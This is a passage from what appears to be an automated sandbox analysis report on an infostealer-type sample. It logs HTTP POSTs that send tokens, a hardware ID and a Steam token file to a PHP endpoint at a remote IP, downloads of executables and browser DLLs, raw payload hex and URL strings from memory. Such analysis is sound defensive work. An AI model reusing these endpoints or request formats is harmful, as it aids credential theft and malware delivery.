6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 2d 2d 0d 0a Data Ascii: ------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="token"15a8a058467fef9d89e06e7dc42e738957a21aed86bc5e2e12a748a569c5bd7a63a7e028------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="file"------GCAEHDBAAECBFHJKFCFB--
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHDHost: 185.172.128.76Content-Length: 125351Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHDHost: 185.172.128.76Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 61 38 61 30 35 38 34 36 37 66 65 66 39 64 38 39 65 30 36 65 37 64 63 34 32 65 37 33 38 39 35 37 61 32 31 61 65 64 38 36 62 63 35 65 32 65 31 32 61 37 34 38 61 35 36 39 63 35 62 64 37 61 36 33 61 37 65 30 32 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 31 38 31 38 31 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="token"15a8a058467fef9d89e06e7dc42e738957a21aed86bc5e2e12a748a569c5bd7a63a7e028------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="message"1818166------KKEBKJJDGHCBGCAAKEHD--

Source: Joe Sandbox View	IP Address: 185.172.128.90 185.172.128.90
Source: Joe Sandbox View	IP Address: 185.172.128.228 185.172.128.228
Source: Joe Sandbox View	IP Address: 20.157.87.45 20.157.87.45

Source: Joe Sandbox View	ASN Name: NADYMSS-ASRU NADYMSS-ASRU
Source: Joe Sandbox View	ASN Name: NADYMSS-ASRU NADYMSS-ASRU

Source: global traffic	HTTP traffic detected: GET /cpa/ping.php?substr=five&s=ab&sub=0 HTTP/1.1Host: 185.172.128.90User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ping.php?substr=five HTTP/1.1Host: 185.172.128.228User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /syncUpd.exe HTTP/1.1Host: 185.172.128.59User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /1/Package.zip HTTP/1.1Host: note.padd.cn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /BroomSetup.exe HTTP/1.1Host: 185.172.128.228User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: POST /__svc/sbv/DownloadManager.ashx HTTP/1.0Connection: keep-aliveContent-Length: 300Host: svc.iolo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Encoding: identityUser-Agent: Mozilla/3.0 (compatible; Indy Library)
Source: global traffic	HTTP traffic detected: POST /__svc/sbv/DownloadManager.ashx HTTP/1.0Connection: keep-aliveContent-Length: 300Host: svc.iolo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Encoding: identityUser-Agent: Mozilla/3.0 (compatible; Indy Library)

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.228
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.228
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.228
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.228
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

Code function: 0_2_00429F8A __EH_prolog,WSAStartup,socket,WSACleanup,gethostbyname,htons,connect,send,send,recv,recv,recv,recv,recv,WSACleanup,closesocket,

0_2_00429F8A

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 23 Apr 2024 07:23:07 GMTContent-Type: application/zipContent-Length: 3814882Last-Modified: Mon, 22 Apr 2024 20:46:00 GMTConnection: keep-aliveETag: "6626cc88-3a35e2"Strict-Transport-Security: max-age=31536000Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 01 00 08 00 82 95 96 58 68 e6 df 2b 2d 33 00 00 9b 51 00 00 0d 00 00 00 67 72 6f 75 70 77 61 72 65 2e 77 61 76 b0 d4 18 19 b9 be 6d c5 56 56 73 1f 3c 43 f6 96 18 00 83 ad f0 00 87 8f c4 31 86 c8 7c 65 1b 0c c0 d7 19 34 10 3c ae af 23 d3 be d4 48 87 5e 35 0d db 87 e1 9b 97 58 3d 02 33 15 6d 59 f3 2f 80 ec 03 b1 4f 1b 69 01 97 ce 40 18 8b 7e c9 e2 74 d8 ce f8 4a ee 83 50 a5 27 59 f8 ad 02 c1 5c 6c a8 b4 7b 30 51 de 79 97 73 e6 88 6d a6 64 7e b7 15 2c 34 6b 09 47 c1 75 9d af 82 8a 8c 6f bf fb ba c7 25 43 4f 91 5b e2 38 af 09 bb 49 3e cc eb ba 53 98 4d 40 6b 3d a1 7e c0 79 39 c6 5b c1 c5 10 30 60 8e 47 dc 7d 09 c9 9a 64 04 b2 da 92 97 0f aa 51 a7 30 d1 40 22 fe 96 31 8a 40 4c 80 59 da 3b e2 e9 6f 4d 46 7a ee ab f1 6f 46 dc 51 de b4 52 3f a3 ce 8a 04 27 33 e5 1c 11 7f d1 9e f1 b1 b7 88 16 4e 2d fa e7 55 6c d6 b4 18 60 dd b2 c0 de 7c 73 97 0a 6a f4 5e e3 db 84 96 3f 1e 29 3a 71 ab c2 33 c9 44 95 b4 38 61 f1 38 6a 16 82 05 65 c7 25 1e ec 4e b0 2e d1 7a ed e5 69 a8 14 d6 29 b4 83 66 c6 71 71 a9 46 77 46 c8 a4 ab 2e 80 a4 f3 8f 99 0c e3 ee 62 ce cf bd e5 bf 9b 00 5a da 48 30 46 b9 fc 16 41 be 5c 4e 19 ff 29 c9 e2 04 e6 b8 18 b2 f7 47 25 9e 6b f9 37 26 5c 9c 5f 5e 4f b3 b0 b7 a6 88 cd e9 a2 9f ef 87 15 a6 84 9a 2e 34 6e 49 6c 66 d4 d1 5b 7f 70 45 00 0f 50 30 af 78 99 c9 b0 b1 b1 ca 25 9a 15 f2 61 ee ea a7 b7 bc 6c 9a 7a 13 b9 32 ed 26 16 7e 74 28 c8 f2 78 42 c7 19 7b 6a a5 3c b0 5f 72 89 34 9e 94 4a 09 49 4a ea 90 be 56 cd 0c d4 e0 54 2f 7a 84 77 71 e2 af 93 4d 15 0f f8 ec 24 4d 63 1f a5 68 cb 9d 5a c8 66 70 63 67 98 f6 58 82 a0 4c d9 4a 58 4b ee 5e 1e 78 dc 39 23 78 d0 2f 19 f0 ae d6 54 b8 42 65 19 d1 98 a8 f7 ca 03 cb 54 e5 da 50 5d d0 7b fc c3 95 b9 1c dd 79 5e 6e 72 7e 9d 1f 37 47 a6 ad 1e fe ae 75 ca b0 ee 73 d6 fb 48 a7 b8 d4 98 1a d3 f3 95 d8 98 71 36 54 d2 aa 7e a4 b3 17 4f c7 dd f5 ab 63 cd 4e 91 b9 7d 84 f9 c1 4d 3e 67 21 34 20 f9 df f1 cb 54 29 52 c7 54 d6 a5 60 10 86 69 fd ff e4 e7 9f 76 89 8a a4 2d 71 67 24 59 91 fe e9 f5 31 64 da 93 b3 58 46 ae 5a dc 48 8a 38 c6 5d 06 ad f0 f7 67 cc 87 5b 36 31 b9 fe 02 aa 35 b4 54 c6 e0 d1 1f eb e8 9f ec b0 bd 73 4d 16 7e 88 59 57 a4 c1 5f 03 8e c9 48 2f d0 27 91 4d 67 f5 8e 49 33 8a 26 99 73 2f bd 18 24 dd c1 21 de 82 79 5f bf 11 2d d8 74 dd c4 d6 0f ab c4 55 fa ca c3 24 dc 1d e8 c1 76 c0 bf fa 1e 74 72 94 49 df ec 6f b2 03 d6 80 61 08 e7 1b 21 d0 d4 9b 48 3e 95 97 a7 65 52 c4 be b1 20 0b 85 b1 6b 3b 76 04 97 e2 74 5f 76 63 21 81 75 64 33 22 06 e3 35 a7 28 72 63 7f 70 25 99 1d 5c 65 59 3f bc 8c dc ca e9 28 a3 90 bd 90 01 9c cb 37 b6 d0 43 93 d5 ba da 81 73 c2 56 b8 b5 32 fb c2 18 bc be d4 5d 7a 73 6c 0c fd f7 f2 e7 8c f6 b0 62 f7 96 81 89 59 11 ee 00 40 06 c1 c3 d3 f4 63 93 08 eb a1 33 20 52 a2 34

Source: global traffic	HTTP traffic detected: GET /cpa/ping.php?substr=five&s=ab&sub=0 HTTP/1.1Host: 185.172.128.90User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ping.php?substr=five HTTP/1.1Host: 185.172.128.228User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /syncUpd.exe HTTP/1.1Host: 185.172.128.59User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /1/Package.zip HTTP/1.1Host: note.padd.cn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/sqlite3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/freebl3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /BroomSetup.exe HTTP/1.1Host: 185.172.128.228User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/mozglue.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/msvcp140.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/nss3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/softokn3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/vcruntime140.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: note.padd.cn.com

Source: unknown

HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIIIJJKJKFHIDGDBAKJHost: 185.172.128.76Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 35 34 45 35 44 38 46 32 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 2d 2d 0d 0a Data Ascii: ------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="hwid"EA54E5D8F2F73897250831------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="build"default10------CFIIIJJKJKFHIDGDBAKJ--

Source: u5e0.0.exe, 00000001.00000002.2121124072.00000000041CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/freebl3.dll
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/freebl3.dllZ
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/mozglue.dll8
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/mozglue.dllT
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/msvcp140.dllb
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/msvcp140.dllp
Source: u5e0.0.exe, 00000001.00000002.2121225212.00000000041F2000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/nss3.dll
Source: u5e0.0.exe, 00000001.00000002.2121225212.00000000041F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/nss3.dllha
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/softokn3.dll
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/softokn3.dll.
Source: u5e0.0.exe, 00000001.00000002.2121225212.00000000041F2000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/sqlite3.dll
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/sqlite3.dllF
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/vcruntime140.dll
Source: u5e0.0.exe, 00000001.00000002.2162175717.000000002A805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.p
Source: u5e0.0.exe, 00000001.00000002.2162175717.000000002A805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.pM
Source: u5e0.0.exe, 00000001.00000003.1760150549.0000000004276000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php
Source: u5e0.0.exe, 00000001.00000002.2162175717.000000002A805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php1ar
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php22
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php4
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php63
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php:3
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpB
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpB3
Source: u5e0.0.exe, 00000001.00000002.2121225212.00000000041F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpF
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpZ3
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpc5e2e12a748a569c5bd7a63a7e028release
Source: u5e0.0.exe, 00000001.00000002.2162175717.000000002A805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpc9c.p
Source: u5e0.0.exe, 00000001.00000002.2162175717.000000002A805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpph
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpt
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpts
Source: u5e0.0.exe, 00000001.00000002.2121225212.0000000004227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php~3
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertCSRSA4096RootG5.crt0E
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA2.crt0
